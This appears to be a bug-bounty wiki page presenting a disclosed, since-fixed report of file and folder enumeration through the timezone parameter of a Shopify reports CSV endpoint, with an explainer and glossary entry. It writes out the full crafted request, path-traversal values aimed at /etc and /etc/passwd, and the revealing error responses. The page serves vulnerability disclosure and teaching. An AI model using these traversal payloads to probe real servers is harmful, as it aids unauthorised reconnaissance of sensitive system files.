File name and folder enumeration.
The timezone parameter in a Shopify reports CSV endpoint was passed to a time-zone lookup that read from the filesystem, so an attacker could tell whether files and directories existed by the different error messages returned. This allowed enumeration of sensitive file and folder names, though not reading their contents.
- Triaged in 8 hours
- Fixed in 39 hours
- Paid in 5 days
- Disclosed after 5 days
Hello,
An attacker can enumerate your sensitive files and folder (such as configuration files) name via the timezone parameter in cube.csv:
GET /cube.csv?q=SHOW+quantity_count%2C+total_sales+BY+product_type%2C+vendor%2C+product_title%2C+variant_title+FROM+products+SINCE+2016-01-15+UNTIL+2016-02-25+ORDER+BY+total_sales+DESC&token=WyIxMTgzODk5NCIsIjIwMTYtMDItMjVUMDY6NDg6NDcrMDA6MDAiXQ%3D%3D--7509095354b03b43d192b051cf1a41bca6ad3b7b&handle=Gross+sales+by+product+title&roles%5B%5D=web&roles%5B%5D=pos_login&beta=&user_id=63589959&timezone=../../../etc/ HTTP/1.1
Host: reports-dashboard.shopify.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://derision-t.myshopify.com/admin/reports/sales_by_product
Cookie: x=x
Connection: close
Response:
HTTP/1.1 400 Bad Request
Server: nginx
Date: Thu, 25 Feb 2016 06:10:01 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 31
Connection: close
Access-Control-Allow-Methods: GET, OPTIONS
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 86400
Content-Security-Policy: default-src 'self'
Strict-Transport-Security: max-age=16070400; includeSubDomains
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-Xss-Protection: 1; mode=block
timezone (400): is a directory
Try again with:
timezone=../../../etc/passwd result in:
timezone (400): malformed time zone information
timezone=../../../etc/passwd_error it will throw:
timezone (400): cannot find ../../../etc/passwd_error in zip file /usr/local/go/lib/time/zoneinfo.zip.
PoC: See shopify_file_enumeration.png
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could determine the existence of sensitive files and folders on the server, which may aid further attacks; the text does not claim file contents could be read.
What the attacker needed
Access to the reports endpoint; ability to send crafted timezone values
How it was found
- Send a request to the cube.csv endpoint with a timezone value pointing at a directory such as ../../../etc/.
- Observe the error 'is a directory', confirming the path exists.
- Send a timezone value pointing at a file such as ../../../etc/passwd and observe 'malformed time zone information'.
- Send a timezone value pointing at a non-existent path and observe the 'cannot find ... in zip file' error.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page took a value from the URL and used it to look up a time zone on the server's disk. By putting path-like text in that value, the attacker could make the server say 'is a directory' or 'cannot find ... in zip file', which reveals whether a file or folder exists. This is information leakage rather than full file reading.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.